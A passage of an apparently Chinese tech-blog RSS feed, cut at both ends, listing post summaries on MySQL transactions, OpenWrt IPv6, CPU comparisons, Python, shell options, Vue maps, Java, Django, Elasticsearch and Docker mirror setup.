      <description>事务ACID原则、脏读、不可重复读、幻读&#xA;事务(transaction)：要么都成功、要么都失败&#xA;ACID原则：&#xA;原子性(Atomicity):要么都成功、要么都失败&#xA;一致性(Consistency)：事务前后的数据完整性要保持一致&#xA;隔离性(Isolation)：是多个用户并发访问数据库时，数据库为每一个用户开启的事务，不能被其他事务的操作数据所干预&#xA;持久性(Durability)：事务提交，事务一旦提交则不可逆，被持久化到数据库中！&#xA;隔离所导致的一些问题&#xA;脏读：&#xA;​ 指一个事务读取了另一个事务未提交的数据&#xA;不可重复读：&#xA;​ 在一个事务内读取表中的某一行数据，多次读取结果不同。(这个不一定是错误，只是某些场合不对)&#xA;幻读：&#xA;​ 在一个事务内读取到了别的事务插入的数据，导致前后读取不一致&#xA;-- ===============事务=================&#xA;-- MySQL是默认开启事务自动提交的&#xA;set autocommit = 0 -- 关闭&#xA;set autocommit = 1 -- 开启(默认的)&#xA;-- 1.手动处理事务&#xA;set autocommit = 0 -- 关闭自动提交&#xA;-- 2.事务开启&#xA;start transaction -- 标记一个事务的开始，从这个之后的SQL都在同一个事务内&#xA;-- 3.操作&#xA;insert xxx&#xA;insert xxx&#xA;-- 4.提交：持久化(成功！)&#xA;commit&#xA;-- 回滚：回到原来的样子(失败！)&#xA;rollback&#xA;-- 5.事务结束&#xA;set autocommit = 1 --开启自动提交&#xA;-- 了解&#xA;savepoint 保存点名 -- 设置一个事务的保存点</description>
    </item>
    <item>
      <title>最简单Openwrt ipv6配置，局域网WAN6中继模式获取原生ipv6地址</title>
      <link>https://bchobby.github.io/posts/4c393af02d20d394a4239f7a10e47156/</link>
      <pubDate>Sun, 28 Feb 2021 11:46:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c393af02d20d394a4239f7a10e47156/</guid>
      <description>条件&#xA;condition&#xA;wan 和 wan6 是默认配置&#xA;Wan and wan6 are the default configurations&#xA;同时wan6可以获取到原生IPv6&#xA;At the same time wan6 can get native IPv6&#xA;ssh链接之后，进行备份配置文件后，并进行修改&#xA;After the ssh link, after backing up the configuration file, and modifying it&#xA;root@cby:~# vim /etc/config/dhcp root@cby:~# cat /etc/config/dhcp config dnsmasq option localise_queries &#39;1&#39; option rebind_protection &#39;1&#39; option rebind_localhost &#39;1&#39; option local &#39;/lan/&#39; option domain &#39;lan&#39; option expandhosts &#39;1&#39; option authoritative &#39;1&#39; option readethers &#39;1&#39; option leasefile &#39;/tmp/dhcp.</description>
    </item>
    <item>
      <title>r5 5500u和r5 4600u区别有多大 r55500u和r54600u哪个好</title>
      <link>https://bchobby.github.io/posts/3e48a5fa7ad4488346a72aea336956e4/</link>
      <pubDate>Sun, 28 Feb 2021 10:02:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e48a5fa7ad4488346a72aea336956e4/</guid>
      <description>锐龙5 4600U有6核心12线程，其他的主频2.3-4.0GHz，二级缓存3MB、三级缓存8MB，集成Vega 6 GPU，384个流处理器，频率1500MHz都相同。&#xA;选r5 5500u还是r54600u这些点很重要!看完你就知道了 http://www.adiannao.cn/dy&#xA;R5 5500U集成了基于Zen 2微体系结构的六个内核。 它们的频率为2.1（保证的基本频率）至4 GHz（Turbo），并支持SMT /超线程（12个线程）。 该芯片是在台积电采用现代7纳米工艺制造的。 与较旧的Ryzen 5 4500U（Renoir）相比，Ryzen 5 5500U提供了超线程。 更快的Ryzen 5 5600U已经基于更新的Zen 3架构。&#xA;AMD锐龙R5 5500U怎么样？相当于什么水平级别档次？性能应该比旧的Ryzen 5 4500U略高（由于SMT支持）。&#xA;除了六个CPU内核之外，APU还集成了Radeon RX Vega 7集成显卡，具有7个CU和高达1800 MHz的频率。 双通道内存控制器支持DDR4-3200和高能效LPDDR4-4266 RAM。 此外，芯片还配备了8 MB的3级缓存。&#xA;APU的TDP指定为15瓦（默认）</description>
    </item>
    <item>
      <title>ValueError: I/O operation on closed file 解决办法</title>
      <link>https://bchobby.github.io/posts/11016f775dc8fb9d400128a3f49fe891/</link>
      <pubDate>Sat, 27 Feb 2021 22:36:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/11016f775dc8fb9d400128a3f49fe891/</guid>
      <description>报错：ValueError: I/O operation on closed file&#xA;ValueError: I/O operation on closed file。是指处理了已经被关闭的数据。一般是语句没有对齐。当python的处理代码不对齐的时候会出现这种情况。使用with方法打开了文件，生成的文件操作实例在with语句之外是无效的，因为with语句之外文件已经关闭了。 报错部分代码：&#xA;class Maoyan(object): ... def run(self): response = self.get_data() datas = self.parse_data(response) self.save_data(datas) if __name__ == &#39;__main__&#39;: ... with open(&#39;猫眼.csv&#39;, &#39;a&#39;, newline=&#39;&#39;, encoding=&#34;utf8&#34;) as f: csv_writer = csv.writer(f) csv_writer.writerow(head) maoyan = Maoyan() maoyan.run() 解决：&#xA;检查了很多遍，因为已经确认了是缩进的问题，最后才发现最后两行代码也要缩进，因为调用的保存也要在with语句块里能有效。&#xA;改成图片里这样就可以运行了！</description>
    </item>
    <item>
      <title>Linux shell脚本内的set -x set &#43;x set -e set -u set -n的应用</title>
      <link>https://bchobby.github.io/posts/111ae04204855668b68a85dd15c9bf2c/</link>
      <pubDate>Sat, 27 Feb 2021 20:43:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/111ae04204855668b68a85dd15c9bf2c/</guid>
      <description>Linux shell脚本内的set -x set +x set -e set -u set -n的应用 set命令可以定义脚本的运行方式，变量的获取方式，脚本的执行过程，脚本的测试。&#xA;1，set -u （检查脚本内的变量，如果有变量未被定义将终止脚本）（脚本的自检测功能）&#xA;#!/bin/bash set -u echo $A 这是一个极为简单的shell脚本，功能为输出变量abc的值，但可以看到在脚本内并没有给定变量a的值，如果执行，将会报错。脚本名称为test.sh。执行后输出如下（也就是变量没有赋值）：&#xA;[root@centos7 ~]# bash test.sh test.sh: line 3: A: unbound variable 如果不使用set -u，那么脚本将会忽略错误，完整执行，并不会报错，也就是说默认是不检测变量是否赋值。&#xA;[root@centos7 ~]# cat test.sh #!/bin/bash echo $A [root@centos7 ~]# bash test.sh [root@centos7 ~]# 2，set -e&#xA;没有使用set -e的时候，脚本即使遇到错误也可以继续执行下去，例如：&#xA;#!/bin/bash cat hello.sh echo &#34;this is my script file&#34; [root@centos7 ~]# cat test.sh #!/bin/bash cat hello.sh echo &#34;this is my script file&#34;</description>
    </item>
    <item>
      <title>Vue前端：引用高德地图动态添加markers和标签</title>
      <link>https://bchobby.github.io/posts/3fcb21012fb14a5ac3146c0f3e4e04dc/</link>
      <pubDate>Sat, 27 Feb 2021 20:12:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3fcb21012fb14a5ac3146c0f3e4e04dc/</guid>
      <description>Vue前端：引用高德地图动态添加markers和标签 效果实现过程 效果 显示的效果如下&#xA;实现过程 一些基础的设置参照了这篇文章，指路：https://blog.csdn.net/ActiveLi/article/details/102592797&#xA;接下来写一下我自己的操作&#xA;步骤如下：&#xA;1.在项目终端的下安装vue-amap包&#xA;npm install vue-amap --save 2.在项目的main文件内写入以下内容&#xA;import AMap from &#39;vue-amap&#39;; //地图类 Vue.use(AMap); AMap.initAMapApiLoader({ key: &#39;在高德上为此应用申请的key&#39;,// 高德key plugin: [// 插件集合 （插件按需引入）&#39;AMap.Geolocation&#39; &#39;AMap.Geocoder&#39;, &#39;AMap.Autocomplete&#39;, &#39;AMap.PlaceSearch&#39;, &#39;AMap.Scale&#39;, &#39;AMap.OverView&#39;, &#39;AMap.Geolocation&#39;, &#39;AMap.ToolBar&#39;, &#39;AMap.MapType&#39;, &#39;AMap.PolyEditor&#39;, &#39;AMap.CircleEditor&#39;],// v: &#39;1.4.4&#39; //指定版本号 }); 3.在需要的此地图vue页面的中加入&#xA;&amp;lt;template&amp;gt; &amp;lt;!-- 高德地图 --&amp;gt; &amp;lt;div :style=&#34;{width:&#39;100%&#39;,height:&#39;700px&#39;}&#34;&amp;gt;&amp;lt;!-- zoom是变焦,key是v-for的属性:events=&#34;marker.events&#34;:label=&#34;marker.label&#34;--&amp;gt; &amp;lt;el-amap ref=&#34;map&#34; vid=&#34;amapDemo&#34; :center=&#34;center&#34; :zoom=&#34;zoom&#34; :plugin=&#34;plugin&#34; class=&#34;amap-demo&#34;&amp;gt; &amp;lt;el-amap-marker v-for=&#34;(marker, i) in markers&#34;:key=&#34;i&#34; :position=&#34;marker.position&#34;:label=&#34;marker.label&#34;&amp;gt; &amp;lt;/el-amap-marker&amp;gt; &amp;lt;/el-amap&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; 4.在script标签中加入一下data和method（其中接口名和数据自行使用自己项目中的接口）&#xA;&amp;lt;script&amp;gt; //其他项目的依赖项需要自行引入 import { AMapManager } from &#39;vue-amap&#39;;&#x9;export default { data(){ zoom: 15, center: [110.</description>
    </item>
    <item>
      <title>java未初始化字符串_在Java中处理未初始化的字符串</title>
      <link>https://bchobby.github.io/posts/1605d855939918d446ac3a61e1e13e6d/</link>
      <pubDate>Sat, 27 Feb 2021 18:49:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1605d855939918d446ac3a61e1e13e6d/</guid>
      <description>这是我作为家庭作业所做的一个小程序的一部分：&#xA;public Exam maxGrade() {&#xA;Node p = firstNode;&#xA;int max = 0;&#xA;String name;&#xA;while (p!=null) {&#xA;if (p.info.getGrade()&amp;gt;max) {&#xA;max = p.info.getGrade();&#xA;name = p.info.getName();&#xA;}&#xA;p = p.next;&#xA;}&#xA;if (name==null)&#xA;return null;&#xA;else&#xA;return searchByName(name);&#xA;}&#xA;因此,当我继续编译时,编译器输出以下消息：&#xA;Student.java:127: error: variable name might not have been initialized&#xA;if (name==null)&#xA;用以下代码替换第四行可以很容易地解决这个问题：&#xA;String name = null;&#xA;现在,我可以看到一些逻辑.但我真的很想掌握这个问题背后的运作方式.&#xA;我的意思是,如果变量在你的代码中看到你正在对它做一些事情,那么编译器会检查变量是否被初始化似乎是合理的,但我认为我没有做任何需要初始化变量的事情.&#xA;根据像this这样的来源,当我简单地声明我的String(或任何其他Object)变量“name”时,它已经指向null.那么为什么仅仅检查该值是否为空它被认为是异常？除了赋值之外,编译器是否会考虑我对未初始化变量所做的任何错误？</description>
    </item>
    <item>
      <title>UITextView加载html文本显示一半问题</title>
      <link>https://bchobby.github.io/posts/4a536d50a20fc31005dc60a1103bee18/</link>
      <pubDate>Sat, 27 Feb 2021 10:57:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a536d50a20fc31005dc60a1103bee18/</guid>
      <description> iOS 真机12.4.1的系统上需要设置这一项 textView.layoutManager.allowsNonContiguousLayout = NO; 其实和覆写父类这俩方法也有关系，如果不覆写也不会出现显示一半的问题&#xA;- (void)setSelectedRange:(NSRange)selectedRange { } - (UITextRange *)selectedTextRange { return nil; } </description>
    </item>
    <item>
      <title>java中response的jar包包名_急急急！！！简单问题，java的response和request用法，需要import那个包？？？...</title>
      <link>https://bchobby.github.io/posts/1219c3d76fb1fc285771affb796d966c/</link>
      <pubDate>Sat, 27 Feb 2021 01:19:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1219c3d76fb1fc285771affb796d966c/</guid>
      <description>匿名用户&#xA;1级&#xA;2013-01-06 回答&#xA;servlet-api.jar这个包.在tomcat等服务器中可找到此包.&#xA;request对象的主要方法有：&#xA;1. getAttribute( String name )&#xA;返回name指定的属性值，如果指定的属性值不存在，则会返回null值．&#xA;2. getAttributeNames()&#xA;返回request对象的所有属性的名字，其结果是一个类举(Enumeration)类的实例．&#xA;3. getCookies()&#xA;返回客户端的Cookie对象，结果是一个Cookies数组．&#xA;4. getHeader( String name )&#xA;返回指定名字的request Header的所有值，其结果也是一个类举类的实例．&#xA;5. getHeaderNames()&#xA;返回所有request Header 的名字，其结果也是一个类举类的实例．&#xA;6. getMethod()&#xA;获得客户端向服务器端传送数据的方法，如get,post等．&#xA;7. getParameter( String name )&#xA;获得客户端传送给服务器的参数值，该参数是由name指定的．&#xA;8. getParameterNames()&#xA;返回客户端传给服务器摘的所有参数的名字，其结果也是一个类举类的实例．&#xA;9. getParameterValues( String name )&#xA;获得指定参数的所有值，参数由name指定．&#xA;10. getProtocol()&#xA;获得客户端向服务器端传送数据所依据的协议的名称．&#xA;11. getQueryString()&#xA;获得查询字符串，该字符串由客户端以get方法向服务器端传送．&#xA;12. getRequestURI()&#xA;获取发出请求字符串的客户端的地址．&#xA;13. getRemoteAddr()&#xA;获取客户端的IP地址．&#xA;14. getRemoteHost()&#xA;获取客户端的名字．&#xA;15. getServerName()&#xA;获取服务器的名字．&#xA;16. getServerPort()&#xA;获取服务器的名字．．</description>
    </item>
    <item>
      <title>【Django】二手交易市场开发备忘录</title>
      <link>https://bchobby.github.io/posts/8cf1542a7338816d3c939ffd349ba3bd/</link>
      <pubDate>Fri, 26 Feb 2021 23:06:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8cf1542a7338816d3c939ffd349ba3bd/</guid>
      <description>二手交易市场操作备忘录 源码：https://github.com/DedicationTechnology/SecondHandMarket&#xA;个人博客：个人博客&#xA;GitHub：GitHub&#xA;【smtp服务器无法链接】使用celery异步发送激活邮件时，在worker端显示smtplib.SMTPServerDisconnected: Connection unexpectedly closed&#xA;解决方案：修改setting.py的数值(注意：发送端(pycharm)和worker端都要修改)&#xA;【path中使用正则】在通过激活邮箱地址来获取秘钥时在path路径使用正则表达式匹配网址中的路径失败&#xA;当要在path中使用正则时要用re_path来代替path，否则无法进行正则匹配&#xA;【redis接受celery异步处理】celery异步发送邮件worker端开启监听处理准备接受redis端的任务&#xA;celery -A celery_tasks.tasks worker -l info # celery_tasks文件夹下的task.py文件中包括一些需要异步处理的任务，这里就是异步发送电子邮件 【mysql竖向显示数据】select * from df_address \G&#xA;表示读取df_address表中的所有数据，\G表示以竖向排列&#xA;【Mac传输文件到ubuntu】在mac上传输文件到ubuntu虚拟机中(似乎不能直接传输文件，只能传输压缩包)&#xA;scp /Volumes/MacData/Pycharm/projectFile/SecondHandMarket.zip yfx@172.16.136.128:/home/yfx/桌面/ 【异步发送文件】异步发送邮件时报错：django.core.exceptions.ImproperlyConfigured: Requested setting EMAIL_FROM&#xA;在redis端task.py中添加如下代码(task.py是redis端发送邮件的代码处)&#xA;import django, os os.environ.setdefault(&#39;DJANGO_SETTINGS_MODULE&#39;, &#39;SecondHandMarket.settings&#39;) django.setup() 【session数据查询/cache缓存查询】查看session数据是否保存在redis数据库中&#xA;redis-cli -h 172.16.136.128 select 9 keys * 【文件只读】mac下出现只读文件无法写入的问题&#xA;sudo mount -uw / 【tracker和storage服务器启动】启动tracker和storage服务器时报错：Failed to start fdfs_trackerd.service: Unit fdfs_trackerd.service not found&#xA;如果虚拟机的网络连接方式不是net则修改为net链接，如果是则直接重启Linux虚拟机(不是挂起)&#xA;【Linux解压】linux解压命令总结&#xA;unzip filename. ziptar -zxvf filename. tar.</description>
    </item>
    <item>
      <title>pyecharts 数据可视化  Bar柱状图生成和颜色优化</title>
      <link>https://bchobby.github.io/posts/e19216d9d295954eda3c29ea291c5e48/</link>
      <pubDate>Fri, 26 Feb 2021 22:43:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e19216d9d295954eda3c29ea291c5e48/</guid>
      <description>python pyecharts包之柱形图 基本的柱形图通过循环将数据添加y轴上Jscode包 对pyecharts包中使用js代码的集成，对于会js的，可太友好了，也很实用原始图、、配置项中使用js生成的颜色 基本的柱形图 最基本的使用pyecharts包绘制柱形图&#xA;#需要加载的包 #柱形图的包 from pyecharts.charts import Bar #pyecharts配置项的包 from pyecharts import options as opts #pyecharts中使用js的包 from pyecharts.commons.utils import JsCode #Pyecharts图表生成需要一些静态资源文件，通过下面代码更改为kesci提供的资源，提高加载速度 from pyecharts.globals import CurrentConfig CurrentConfig.ONLINE_HOST = &#34;https://cdn.kesci.com/lib/pyecharts_assets/&#34; &#39;&#39;&#39; 需要加载的数据 x 轴和y轴数据 &#39;&#39;&#39; x_data = [&#39;Apple&#39;, &#39;Huawei&#39;, &#39;Xiaomi&#39;, &#39;Oppo&#39;, &#39;Vivo&#39;, &#39;Meizu&#39;] y_data1 = [123, 153, 89, 107, 98, 23] y_data2 = [44,55,66,77,888,99] y_data3 = [173, 103, 989, 607, 98, 10] bar=(Bar() .add_xaxis(x_data) .add_yaxis(&#39;数据集1&#39;,y_data1) .add_yaxis(&#39;数据集2&#39;,y_data2) .add_yaxis(&#39;数据集3&#39;,y_data3) ) #这里通过柱状图的方法来绘制图表 bar.</description>
    </item>
    <item>
      <title>java黄油刀_github 黄油刀（注解） butterknife</title>
      <link>https://bchobby.github.io/posts/ed6487b847ba932394ea8a38622eae2c/</link>
      <pubDate>Fri, 26 Feb 2021 22:09:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed6487b847ba932394ea8a38622eae2c/</guid>
      <description>butterknife&#xA;便捷开发&#xA;1、下载&#xA;Project-&amp;gt;&#xA;dependencies {&#xA;...&#xA;classpath &#39;com.jakewharton:butterknife-gradle-plugin:8.5.1&#39;&#xA;...&#xA;}&#xA;2、下载&#xA;App-&amp;gt;&#xA;dependencies {&#xA;...&#xA;implementation &#39;com.jakewharton:butterknife:8.5.1&#39;&#xA;annotationProcessor &#34;com.jakewharton:butterknife-compiler:8.5.1&#34;&#xA;...&#xA;}&#xA;3、使用&#xA;注意：这里的View不可以是private或static类型&#xA;1.代替findViewById()&#xA;TextView textView = (TextView) findViewById(R.id.text_view);&#xA;直接-&amp;gt;&#xA;@BindView(R.id.text_view)&#xA;TextView mTextView;&#xA;然后在onCreate()的setContentView()下添加ButterKnife.bind(this);&#xA;Activity中：&#xA;@Override&#xA;protected void onCreate(Bundle savedInstanceState) {&#xA;super.onCreate(savedInstanceState);&#xA;setContentView(R.layout.activity_main);&#xA;ButterKnife.bind(this);&#xA;}&#xA;Fragment中：&#xA;View rootView = inflater.inflate(R.layout.frag_main, container, false);&#xA;ButterKnife.bind(this, rootView);//这里有些不同&#xA;Adapter中:&#xA;static class ViewHolder {&#xA;@BindView(R.id.text_view) TextView mTextView;&#xA;@BindView(R.id.button) Button mButton;;&#xA;public ViewHolder(View view) {</description>
    </item>
    <item>
      <title>二建市政</title>
      <link>https://bchobby.github.io/posts/e951feaa63841a6369dfad7d5602e716/</link>
      <pubDate>Fri, 26 Feb 2021 16:34:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e951feaa63841a6369dfad7d5602e716/</guid>
      <description> </description>
    </item>
    <item>
      <title>大数据——Ubuntu配置docker的阿里云镜像加速</title>
      <link>https://bchobby.github.io/posts/08b8c8569061d67e8db07b2f8b805865/</link>
      <pubDate>Fri, 26 Feb 2021 16:33:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08b8c8569061d67e8db07b2f8b805865/</guid>
      <description> Ubuntu配置docker的阿里云镜像加速 阿里云镜像加速 阿里云镜像加速 由于docker的官方的镜像源速度太慢，在国内可以通过使用阿里云或者网易云的镜像源提高下载速度，通常使用阿里云的镜像源，下面介绍怎么使用阿里云的镜像加速器。&#xA;注册阿里云账号 可以使用自己的支付宝账号等号。&#xA;登录阿里云控制台 依次点击右上角控制台——&amp;gt;左侧栏的产品与服务——&amp;gt;找到容器镜像服务&#xA;点击该服务，再点击最下面的镜像加速器&#xA;配置&#xA;按照阿里云给的配置命令依次配置即可 sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json &amp;lt;&amp;lt;-&#39;EOF&#39; { &#34;registry-mirrors&#34;: [&#34;https://5hnbz1fa.mirror.aliyuncs.com&#34;] } EOF sudo systemctl daemon-reload 重启docker&#xA;sudo systemctl restart docker </description>
    </item>
    <item>
      <title>搜索的一般过程</title>
      <link>https://bchobby.github.io/posts/c80233856b443c79c5dcfcff32936566/</link>
      <pubDate>Fri, 26 Feb 2021 15:18:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c80233856b443c79c5dcfcff32936566/</guid>
      <description>之前学习过很多刘老师的lucene源码分析的课程，结果现在整的都忘了，这次重新梳理一下争取形成自己的东西。&#xA;后面就不容易忘掉了。&#xA;刘老师的课程是基于lucene2.x的源码分析的，后面lucene迭代了很多版本，也引入了新的数据结构进行优化，但是主体的模块基本上是没有变的。计划是先把之前的lunce的数据结构整理一下，因为可以查阅刘老师的课程，可以有很好的参考作用。在这个基础上再整理和对比新的lucene的优化点，基于lucene7.x在这里主要关注lucene的存储结构，因为了解了存储结构基本上就了解了大体的实现。&#xA;1. 搜索的概览 搜索主要是解决用户基于文本进行搜索的问题。比如在很多本书中搜索一些内容，或者搜索一些帖子，博客等等。&#xA;一个搜索服务架构分为两大部分：索引+搜索。&#xA;1.1 索引 索引的过程又分为数据采集，清洗，进入lucene等等，这里我们不关注数据源的问题，只关注索引在进入lucene会有哪些操作。&#xA;1.1.1. 数据处理 在往lucene进行数据存储的时候首先会进行分词，比如&#34;我的家乡是河南&#34;，&#34;this ARE GOOD books &#34; 在下面显示了对应的分词结果&#xA;GET user/_analyze { &#34;analyzer&#34;: &#34;ik_smart&#34;, &#34;text&#34;: [&#34;我的家乡是河南&#34;] } 对应的分词结果是 { &#34;tokens&#34; : [ { &#34;token&#34; : &#34;我&#34;, &#34;start_offset&#34; : 0, &#34;end_offset&#34; : 1, &#34;type&#34; : &#34;CN_CHAR&#34;, &#34;position&#34; : 0 }, { &#34;token&#34; : &#34;的&#34;, &#34;start_offset&#34; : 1, &#34;end_offset&#34; : 2, &#34;type&#34; : &#34;CN_CHAR&#34;, &#34;position&#34; : 1 }, { &#34;token&#34; : &#34;家乡&#34;, &#34;</description>
    </item>
    <item>
      <title>elasticsearch index doc过程概述</title>
      <link>https://bchobby.github.io/posts/c0b8528fc78a6fefb59c9f1f1e3c4bf3/</link>
      <pubDate>Fri, 26 Feb 2021 14:31:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0b8528fc78a6fefb59c9f1f1e3c4bf3/</guid>
      <description>文章目录 概述1.es中的基础概念2.es中的索引过程2.1 一次index请求的大体流程2.2 为什么是near real time2.3 为什么要有translog2.3.1 translog的作用2.3.2 translog的持久化机制2.3.2 commit产生的时机 概述 这里主要讲讲es index的过程，努力揭示es在index过程中具体做了哪些工作。&#xA;从而增加我们对es的了解，以便于更好的使用和优化es。&#xA;1.es中的基础概念 es的基础支撑是使用lucene,每个es的索引(index)有多个shard，每个shard都是一个独立的lucene实例每个lucene实例通过多个segment来管理自己存储的数据，每个segment可一个认为是独立的存储单元，从存储功能上来说类似于mysql中分表中的一张表每个lucene实例同时引入了一个commit的概念来管理segment,因为segment是要写入磁盘的，如果每产生一个segment都要写入磁盘的话，那么效率会受到影响，所以一般都是多个segment进行一次写磁盘操作，叫做commit，每次commit记录了本次提交的节点的一个快照信息。也就是一个commit check point。这里的每个commit 产生的check point 对应的文件是lucene data存储目录下的segment_N文件，看lucene网上说每个lucene实例中可能有多个segment_N文件(主要是因为有些segment_N文件暂时不能删除，或者使用了自定义的删除策略)&#xA;参考这里只有数据进入一个segment当中才能够被搜索到。 2.es中的索引过程 基于上面的基础知识，我们来梳理一下对于客户端通过http请求过来的一个index操作，对应的在elasticsearch的后端会对应的经历哪些操作&#xA;2.1 一次index请求的大体流程 请求的路由:请求可能被发往es集群当中的任意一个节点（此时假设为A）。所有在Elasticsearch集群中的节点都包含：有关哪个分片存在于哪个节点上的元数据。根据一定的规则计算该文档需要被发往哪个shard(主要是根绝文档的id来计算),接收请求的节点将请求路由到对应的主分片所在节点(假设为B)。&#xA;请求的处理:当节点B接收到来自节点A的请求时，请求被写入到translog（下面会讲到），并将该文档添加到内存缓冲区。如果请求在主分片上成功，则请求将并行发送到副本分片。只有在所有主分片和副本分片上的translog被持久化(fsync’ed)后，客户端才会收到该请求成功的确认。&#xA;2.2 为什么是near real time 在经过上面两步介绍，基本上了解了es处理请求的一个大致的套路&#xA;那为什么说es是一个近实时(near real time)的搜索引擎呢，因为通过上面的请求写进es的文档并不能立即被搜索到。正常情况下可能会有一秒钟的延迟，也就是在add之后，最长可能需要经过1s以后才能搜索的到。是什么原因导致的呢，我们就来更进一步的深入其中。&#xA;上面第2步当中的内存缓冲区中的内容是不能直接被搜索的，因为在lucene，只有一个打开的segment才能被搜索，此时缓冲区的内容还不是在一个段当中，但是缓冲区的内容会以固定的间隔刷新（默认为1秒）刷新的过程是:&#xA;将内存缓冲区的内容写入文件系统缓存中的新段。此新段的内容更尚未被写入文件系统，但是分段是打开的，内容可被搜索。清空内存缓冲区。这里解释了搜索问什么是近实时的，也就是默认的情况下会有1s的延迟。 当然，这里的内存缓冲区刷新到文件系统缓存的节奏是可以控制的，我们可以通过设置&#34;refresh_interval&#34;: &#34;1s&#34;来设置刷新的时间间隔;或者进行强制刷新POST /${index}/_refresh(但是这个在生产中不太建议频繁使用)&#xA;文件系统缓存中的数据会在满足一定的条件下进行持久化操作，写入磁盘，产生一个commit check point。&#xA;2.3 为什么要有translog 在前面讲es应对一次写入请求的过程中提到，在主片写入请求之前会先生成一个tranlog并进行持久化。那么为什么要有这个呢。&#xA;2.3.1 translog的作用 其实es的translog很好理解，基本上和其他系统中的各种用于记录的log类似，比如mysql中的binlog,redis中的aof日志，都是为了快速记录操作记录，防止因服务宕机等产生数据的丢失，当然binlog和aof log可能更加强大，因为他们保存的时间更久一些，可以直接用来做数据的回溯等操作。&#xA;在上面的介绍中我们也可以看到，es除了translog的记录使用的是同步持久化的方式,其他的操作都是对内存的操作，包括内存缓冲区和文件系统缓存都是对内存的操作。假如在这中间产生了一些意外，比如你不小心踢掉了插头(这个理由确实有点烂。。。)，那么内存缓冲区和 文件系统缓存中的内容都丢了，即使你插上了插头，重新启动了服务，也是无济于事啊。这个时候tranlog就要闪亮登场力挽狂澜了。因为tranlog在请求能够给客户端正确返回的时候一般都是保证了已经进行了持久化的(默认是都会持久化，你也可以配置成非同步持久化模式，下面会介绍),所以这个时候就可以将translog中的数据拿出来进行回放就行了（并不是全部回放，只是和已经持久化的最后一次commit check point 对比，将之后的tanslog进行重放就行了）。&#xA;2.3.2 translog的持久化机制 同时translog的持久化机制也是可以设置的，主要分为同步和异步两种，设置分别如下&#xA;index.translog.durability:request|async request模式:这个是默认的模式，在每次写请求完成之后执行(index, delete, update, bulk)。这个过程在主分片和复制分片都会发生。最终， 基本上，这意味着在整个请求被 fsync 到主分片和复制分片的translog之前，你的客户端不会得到一个 200 OK 响应async模式:会在后台异步的按照一个配置参数&#34;</description>
    </item>
    <item>
      <title>【谷歌日语输入法】离线安装包官方下载链接（Windows）</title>
      <link>https://bchobby.github.io/posts/152f52139d5be4dac85f9de618b9217f/</link>
      <pubDate>Fri, 26 Feb 2021 13:32:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/152f52139d5be4dac85f9de618b9217f/</guid>
      <description>http://dl.google.com/japanese-ime/2.20.2750.0/googlejapaneseinput32.msi&#xA;http://dl.google.com/japanese-ime/2.20.2750.0/googlejapaneseinput64.msi&#xA;http://dl.google.com/japanese-ime/2.24.3250.0/googlejapaneseinput32.msi&#xA;http://dl.google.com/japanese-ime/2.24.3250.0/googlejapaneseinput64.msi</description>
    </item>
    <item>
      <title>java 100 基础题_java最最基础的题目(满分100分，笔试，不可上机)：</title>
      <link>https://bchobby.github.io/posts/fe5802df8c219edf30715b967676b401/</link>
      <pubDate>Fri, 26 Feb 2021 13:15:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe5802df8c219edf30715b967676b401/</guid>
      <description>呢？&#xA;7.下边的结果是：&#xA;public class Test{&#xA;public static Collection getSort(){&#xA;Collection sort = new LinkedList();&#xA;sort.add(&#34;B&#34;);&#xA;sort.add(&#34;C&#34;);&#xA;sort.add(&#34;A&#34;);&#xA;return sort;&#xA;}&#xA;public static void main(String[] args) {&#xA;for(Object o:getSort()){&#xA;System.out.println(o);&#xA;}&#xA;}&#xA;} 8.下边代码的结果是：&#xA;public class Test{&#xA;public static void foo(Listl ){&#xA;}&#xA;public static void main(String[] args) {&#xA;Listl1 = new ArrayList();&#xA;foo(l1);&#xA;ArrayListl2 = new ArrayList();&#xA;foo(l2);&#xA;ArrayList l3 = new ArrayList();&#xA;foo(l3);&#xA;ArrayListl4 = new ArrayList();&#xA;foo(l4);</description>
    </item>
    <item>
      <title>机器学习基础篇（十二）——多层感知机</title>
      <link>https://bchobby.github.io/posts/b3fba6333be90da1dc1241cc13f154bd/</link>
      <pubDate>Fri, 26 Feb 2021 10:53:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3fba6333be90da1dc1241cc13f154bd/</guid>
